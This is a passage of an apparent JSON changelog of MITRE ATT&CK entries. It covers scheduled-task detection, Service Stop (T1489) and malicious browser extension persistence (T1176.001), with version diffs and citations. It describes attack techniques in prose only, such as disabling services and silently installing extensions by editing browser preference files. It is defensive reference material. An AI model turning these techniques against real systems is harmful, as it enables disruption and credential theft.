svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\\\System32\\\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\\n\\nConfigure event logging for scheduled task creation and changes by enabling the \\\"Microsoft-Windows-TaskScheduler/Operational\\\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\\n\\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\\n\\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\\n\\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\", \"diff\": \"--- \\n+++ \\n@@ -1,14 +0,0 @@\\n-Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\\\System32\\\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\\n-\\n-Configure event logging for scheduled task creation and changes by enabling the \\\"Microsoft-Windows-TaskScheduler/Operational\\\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\\n-\\n-* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\\n-* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\\n-* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\\n-* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\\n-* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\\n-* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\\n-\\n-Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\\n-\\n-Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.8\", \"old_value\": \"1.7\"}}}",
"previous_version": "1.7",
"version_change": "1.7 \u2192 1.8",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1026: Privileged Account Management",
"M1028: Operating System Configuration",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0003: Scheduled Job (Scheduled Job Creation)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)",
"DS0024: Windows Registry (Windows Registry Key Creation)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0441: Detection of Suspicious Scheduled Task Creation and Execution on Windows"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-03-29 19:00:55.901000+00:00",
"modified": "2025-10-24 17:48:30.688000+00:00",
"name": "Service Stop",
"description": "Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \n\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible.(Citation: Novetta Blockbuster) In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server, or on virtual machines hosted on ESXi infrastructure.(Citation: SecureWorks WannaCry Analysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)\n\nThreat actors may also disable or stop service in cloud environments. For example, by leveraging the `DisableAPIServiceAccess` API in AWS, a threat actor may prevent the service from creating service-linked roles on new accounts in the AWS Organization.(Citation: Datadog Security Labs Cloud Persistence 2025)(Citation: AWS DisableAWSServiceAccess)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1489",
"external_id": "T1489"
},
{
"source_name": "AWS DisableAWSServiceAccess",
"description": "AWS. (n.d.). DisableAWSServiceAccess. Retrieved May 22, 2025.",
"url": "https://docs.aws.amazon.com/organizations/latest/APIReference/API_DisableAWSServiceAccess.html"
},
{
"source_name": "SecureWorks WannaCry Analysis",
"description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.",
"url": "https://www.secureworks.com/research/wcry-ransomware-analysis"
},
{
"source_name": "Datadog Security Labs Cloud Persistence 2025",
"description": "Martin McCloskey. (2025, May 13). Tales from the cloud trenches: The Attacker doth persist too much, methinks. Retrieved May 22, 2025.",
"url": "https://securitylabs.datadoghq.com/articles/tales-from-the-cloud-trenches-the-attacker-doth-persist-too-much/"
},
{
"source_name": "Talos Olympic Destroyer 2018",
"description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
"url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
},
{
"source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021",
"description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.",
"url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/"
},
{
"source_name": "Novetta Blockbuster",
"description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
"url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Liran Ravich, CardinalOps"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_impact_type": [
"Availability"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"IaaS",
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Liran Ravich, CardinalOps\"]}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Process: Process Termination\", \"Windows Registry: Windows Registry Key Modification\", \"Command: Command Execution\", \"File: File Modification\", \"Process: OS API Execution\", \"Service: Service Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:30.688000+00:00\", \"old_value\": \"2025-04-15 19:58:12.942000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \\n\\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible.(Citation: Novetta Blockbuster) In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server, or on virtual machines hosted on ESXi infrastructure.(Citation: SecureWorks WannaCry Analysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)\\n\\nThreat actors may also disable or stop service in cloud environments. For example, by leveraging the `DisableAPIServiceAccess` API in AWS, a threat actor may prevent the service from creating service-linked roles on new accounts in the AWS Organization.(Citation: Datadog Security Labs Cloud Persistence 2025)(Citation: AWS DisableAWSServiceAccess)\", \"old_value\": \"Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \\n\\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible.(Citation: Novetta Blockbuster) In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server, or on virtual machines hosted on ESXi infrastructure.(Citation: SecureWorks WannaCry Analysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,5 @@\\n Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \\n \\n Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible.(Citation: Novetta Blockbuster) In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server, or on virtual machines hosted on ESXi infrastructure.(Citation: SecureWorks WannaCry Analysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)\\n+\\n+Threat actors may also disable or stop service in cloud environments. For example, by leveraging the `DisableAPIServiceAccess` API in AWS, a threat actor may prevent the service from creating service-linked roles on new accounts in the AWS Organization.(Citation: Datadog Security Labs Cloud Persistence 2025)(Citation: AWS DisableAWSServiceAccess)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments to see if critical processes are terminated or stop running.\\n\\nMonitor for edits for modifications to services and startup programs that correspond to services of high importance. Look for changes to services that do not correlate with known software, patch cycles, etc. Windows service information is stored in the Registry at HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services. Systemd service unit files are stored within the /etc/systemd/system, /usr/lib/systemd/system/, and /home/.config/systemd/user/ directories, as well as associated symbolic links.\\n\\nAlterations to the service binary path or the service startup type changed to disabled may be suspicious.\\n\\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, ChangeServiceConfigW may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018)\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-Monitor processes and command-line arguments to see if critical processes are terminated or stop running.\\n-\\n-Monitor for edits for modifications to services and startup programs that correspond to services of high importance. Look for changes to services that do not correlate with known software, patch cycles, etc. Windows service information is stored in the Registry at HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services. Systemd service unit files are stored within the /etc/systemd/system, /usr/lib/systemd/system/, and /home/.config/systemd/user/ directories, as well as associated symbolic links.\\n-\\n-Alterations to the service binary path or the service startup type changed to disabled may be suspicious.\\n-\\n-Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, ChangeServiceConfigW may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"AWS DisableAWSServiceAccess\", \"description\": \"AWS. (n.d.). DisableAWSServiceAccess. Retrieved May 22, 2025.\", \"url\": \"https://docs.aws.amazon.com/organizations/latest/APIReference/API_DisableAWSServiceAccess.html\"}, \"root['external_references'][3]\": {\"source_name\": \"Datadog Security Labs Cloud Persistence 2025\", \"description\": \"Martin McCloskey. (2025, May 13). Tales from the cloud trenches: The Attacker doth persist too much, methinks. Retrieved May 22, 2025.\", \"url\": \"https://securitylabs.datadoghq.com/articles/tales-from-the-cloud-trenches-the-attacker-doth-persist-too-much/\"}, \"root['x_mitre_platforms'][1]\": \"IaaS\"}}",
"previous_version": "1.3",
"version_change": "1.3 \u2192 1.4",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may stop or disable services on a system to rend | t | 1 | Adversaries may stop or disable services on a system to rend |
| > | er those services unavailable to legitimate users. Stopping | > | er those services unavailable to legitimate users. Stopping | ||
| > | critical services or processes can inhibit or stop response | > | critical services or processes can inhibit or stop response | ||
| > | to an incident or aid in the adversary's overall objectives | > | to an incident or aid in the adversary's overall objectives | ||
| > | to cause damage to the environment.(Citation: Talos Olympic | > | to cause damage to the environment.(Citation: Talos Olympic | ||
| > | Destroyer 2018)(Citation: Novetta Blockbuster) Adversaries | > | Destroyer 2018)(Citation: Novetta Blockbuster) Adversaries | ||
| > | may accomplish this by disabling individual services of hig | > | may accomplish this by disabling individual services of hig | ||
| > | h importance to an organization, such as <code>MSExchangeIS< | > | h importance to an organization, such as <code>MSExchangeIS< | ||
| > | /code>, which will make Exchange content inaccessible.(Citat | > | /code>, which will make Exchange content inaccessible.(Citat | ||
| > | ion: Novetta Blockbuster) In some cases, adversaries may sto | > | ion: Novetta Blockbuster) In some cases, adversaries may sto | ||
| > | p or disable many or all services to render systems unusable | > | p or disable many or all services to render systems unusable | ||
| > | .(Citation: Talos Olympic Destroyer 2018) Services or proces | > | .(Citation: Talos Olympic Destroyer 2018) Services or proces | ||
| > | ses may not allow for modification of their data stores whil | > | ses may not allow for modification of their data stores whil | ||
| > | e running. Adversaries may stop services or processes in ord | > | e running. Adversaries may stop services or processes in ord | ||
| > | er to conduct [Data Destruction](https://attack.mitre.org/te | > | er to conduct [Data Destruction](https://attack.mitre.org/te | ||
| > | chniques/T1485) or [Data Encrypted for Impact](https://attac | > | chniques/T1485) or [Data Encrypted for Impact](https://attac | ||
| > | k.mitre.org/techniques/T1486) on the data stores of services | > | k.mitre.org/techniques/T1486) on the data stores of services | ||
| > | like Exchange and SQL Server, or on virtual machines hosted | > | like Exchange and SQL Server, or on virtual machines hosted | ||
| > | on ESXi infrastructure.(Citation: SecureWorks WannaCry Anal | > | on ESXi infrastructure.(Citation: SecureWorks WannaCry Anal | ||
| > | ysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021 | > | ysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021 | ||
| > | ) | > | ) Threat actors may also disable or stop service in cloud e | ||
| > | nvironments. For example, by leveraging the `DisableAPIServi | ||||
| > | ceAccess` API in AWS, a threat actor may prevent the service | ||||
| > | from creating service-linked roles on new accounts in the A | ||||
| > | WS Organization.(Citation: Datadog Security Labs Cloud Persi | ||||
| > | stence 2025)(Citation: AWS DisableAWSServiceAccess) |
profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles; however, .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS) \n \nOnce the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension) \n\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions for [Command and Control](https://attack.mitre.org/tactics/TA0011).(Citation: Stantinko Botnet)(Citation: Chrome Extension C2 Malware) Adversaries may also use browser extensions to modify browser permissions and components, privacy settings, and other security controls for [Defense Evasion](https://attack.mitre.org/tactics/TA0005).(Citation: Browers FriarFox)(Citation: Browser Adrozek) ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1176/001",
"external_id": "T1176.001"
},
{
"source_name": "Pulsedive",
"description": " Pulsedive Threat Research. (2025, March 21). Rilide - An Information Stealing Browser Extension. Retrieved September 22, 2025.",
"url": "https://blog.pulsedive.com/rilide-an-information-stealing-browser-extension/"
},
{
"source_name": "Chrome Extension Crypto Miner",
"description": "Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017.",
"url": "https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/"
},
{
"source_name": "xorrior chrome extensions macOS",
"description": "Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved April 27, 2021.",
"url": "https://www.xorrior.com/No-Place-Like-Chrome/"
},
{
"source_name": "Chrome Extensions Definition",
"description": "Chrome. (n.d.). What are Extensions?. Retrieved November 16, 2017.",
"url": "https://developer.chrome.com/extensions"
},
{
"source_name": "ICEBRG Chrome Extensions",
"description": "De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.",
"url": "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses"
},
{
"source_name": "Malicious Chrome Extension Numbers",
"description": "Jagpal, N., et al. (2015, August). Trends and Lessons from Three Years Fighting Malicious Extensions. Retrieved November 17, 2017.",
"url": "https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf"
},
{
"source_name": "Chrome Extension C2 Malware",
"description": "Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved September 12, 2024.",
"url": "https://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/"
},
{
"source_name": "Catch All Chrome Extension",
"description": "Marinho, R. (n.d.). \"Catch-All\" Google Chrome Malicious Extension Steals All Posted Data. Retrieved November 16, 2017.",
"url": "https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)"
},
{
"source_name": "Banker Google Chrome Extension Steals Creds",
"description": "Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017.",
"url": "https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/"
},
{
"source_name": "Browser Adrozek",
"description": "Microsoft Threat Intelligence. (2020, December 10). Widespread malware campaign seeks to silently inject ads into search results, affects multiple browsers. Retrieved February 26, 2024.",
"url": "https://www.microsoft.com/en-us/security/blog/2020/12/10/widespread-malware-campaign-seeks-to-silently-inject-ads-into-search-results-affects-multiple-browsers/"
},
{
"source_name": "Browers FriarFox",
"description": "Raggi, Michael. Proofpoint Threat Research Team. (2021, February 25). TA413 Leverages New FriarFox Browser Extension to Target the Gmail Accounts of Global Tibetan Organizations. Retrieved November 17, 2024.",
"url": "https://www.proofpoint.com/uk/blog/threat-insight/ta413-leverages-new-friarfox-browser-extension-target-gmail-accounts-global"
},
{
"source_name": "Stantinko Botnet",
"description": "Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware campaign operating covertly since 2012. Retrieved November 16, 2017.",
"url": "https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/"
},
{
"source_name": "Wikipedia Browser Extension",
"description": "Wikipedia. (2017, October 8). Browser Extension. Retrieved January 11, 2018.",
"url": "https://en.wikipedia.org/wiki/Browser_extension"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Gordon Long, LegioX/Zoom, asaurusrex"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"Windows",
"macOS"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Gordon Long, LegioX/Zoom, asaurusrex\"]}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Creation\", \"Process: Process Creation\", \"Command: Command Execution\", \"File: File Creation\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-09-22 17:00:42.545000+00:00\", \"old_value\": \"2025-04-15 19:58:15.232000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality to and customize aspects of internet browsers. They can be installed directly via a local file or custom URL or through a browser's app store - an official online platform where users can browse, install, and manage extensions for a specific web browser. Extensions generally inherit the web browser's permissions previously granted.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition) \\n \\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores, so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary-controlled server or manipulate the mobile configuration file to silently install additional extensions. \\n\\nAdversaries may abuse how chromium-based browsers load extensions by modifying or replacing the Preferences and/or Secure Preferences files to silently install malicious extensions. When the browser is not running, adversaries can alter these files, ensuring the extension is loaded, granted desired permissions, and will persist in browser sessions. This method does not require user consent and extensions are silently loaded in the background from disk or from the browser's trusted store.(Citation: Pulsedive)\\n \\nPrevious to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles; however, .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS) \\n \\nOnce the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension) \\n\\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions for [Command and Control](https://attack.mitre.org/tactics/TA0011).(Citation: Stantinko Botnet)(Citation: Chrome Extension C2 Malware) Adversaries may also use browser extensions to modify browser permissions and components, privacy settings, and other security controls for [Defense Evasion](https://attack.mitre.org/tactics/TA0005).(Citation: Browers FriarFox)(Citation: Browser Adrozek) \", \"old_value\": \"Adversaries may abuse internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality to and customize aspects of internet browsers. They can be installed directly via a local file or custom URL or through a browser's app store - an official online platform where users can browse, install, and manage extensions for a specific web browser. Extensions generally inherit the web browser's permissions previously granted.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition) \\n \\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores, so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary-controlled server or manipulate the mobile configuration file to silently install additional extensions. \\n \\nPrevious to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles; however, .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS) \\n \\nOnce the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension) \\n\\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions for [Command and Control](https://attack.mitre.org/tactics/TA0011).(Citation: Stantinko Botnet)(Citation: Chrome Extension C2 Malware) Adversaries may also use browser extensions to modify browser permissions and components, privacy settings, and other security controls for [Defense Evasion](https://attack.mitre.org/tactics/TA0005).(Citation: Browers FriarFox)(Citation: Browser Adrozek) \", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,8 @@\\n Adversaries may abuse internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality to and customize aspects of internet browsers. They can be installed directly via a local file or custom URL or through a browser's app store - an official online platform where users can browse, install, and manage extensions for a specific web browser. Extensions generally inherit the web browser's permissions previously granted.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition) \\n \\n Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores, so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary-controlled server or manipulate the mobile configuration file to silently install additional extensions. \\n+\\n+Adversaries may abuse how chromium-based browsers load extensions by modifying or replacing the Preferences and/or Secure Preferences files to silently install malicious extensions. When the browser is not running, adversaries can alter these files, ensuring the extension is loaded, granted desired permissions, and will persist in browser sessions. This method does not require user consent and extensions are silently loaded in the background from disk or from the browser's trusted store.(Citation: Pulsedive)\\n \\n Previous to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles; however, .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS) \\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Pulsedive\", \"description\": \" Pulsedive Threat Research. (2025, March 21). Rilide - An Information Stealing Browser Extension. Retrieved September 22, 2025.\", \"url\": \"https://blog.pulsedive.com/rilide-an-information-stealing-browser-extension/\"}}}",
"previous_version": "1.0",
"version_change": "1.0 \u2192 1.1",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse internet browser extensions to establi | t | 1 | Adversaries may abuse internet browser extensions to establi |
| > | sh persistent access to victim systems. Browser extensions o | > | sh persistent access to victim systems. Browser extensions o | ||
| > | r plugins are small programs that can add functionality to a | > | r plugins are small programs that can add functionality to a | ||
| > | nd customize aspects of internet browsers. They can be insta | > | nd customize aspects of internet browsers. They can be insta | ||
| > | lled directly via a local file or custom URL or through a br | > | lled directly via a local file or custom URL or through a br | ||
| > | owser's app store - an official online platform where users | > | owser's app store - an official online platform where users | ||
| > | can browse, install, and manage extensions for a specific we | > | can browse, install, and manage extensions for a specific we | ||
| > | b browser. Extensions generally inherit the web browser's pe | > | b browser. Extensions generally inherit the web browser's pe | ||
| > | rmissions previously granted.(Citation: Wikipedia Browser Ex | > | rmissions previously granted.(Citation: Wikipedia Browser Ex | ||
| > | tension)(Citation: Chrome Extensions Definition) Maliciou | > | tension)(Citation: Chrome Extensions Definition) Maliciou | ||
| > | s extensions can be installed into a browser through malicio | > | s extensions can be installed into a browser through malicio | ||
| > | us app store downloads masquerading as legitimate extensions | > | us app store downloads masquerading as legitimate extensions | ||
| > | , through social engineering, or by an adversary that has al | > | , through social engineering, or by an adversary that has al | ||
| > | ready compromised a system. Security can be limited on brows | > | ready compromised a system. Security can be limited on brows | ||
| > | er app stores, so it may not be difficult for malicious exte | > | er app stores, so it may not be difficult for malicious exte | ||
| > | nsions to defeat automated scanners.(Citation: Malicious Chr | > | nsions to defeat automated scanners.(Citation: Malicious Chr | ||
| > | ome Extension Numbers) Depending on the browser, adversaries | > | ome Extension Numbers) Depending on the browser, adversaries | ||
| > | may also manipulate an extension's update url to install up | > | may also manipulate an extension's update url to install up | ||
